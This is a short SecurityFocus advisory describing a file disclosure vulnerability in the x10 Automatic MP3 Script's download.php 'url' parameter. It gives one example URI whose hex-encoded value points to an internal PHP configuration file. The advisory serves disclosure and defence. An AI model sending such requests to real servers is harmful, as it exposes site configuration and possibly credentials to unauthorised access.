x10 Automatic MP3 Script 'url' Parameter File Disclosure Vulnerability

Attackers can exploit this issue via a browser.

The following example URI is available:

http://www.example.com/download.php?url=696e636c756465732f636f6e7374616e74732e706870


 

Privacy Statement
Copyright 2010, SecurityFocus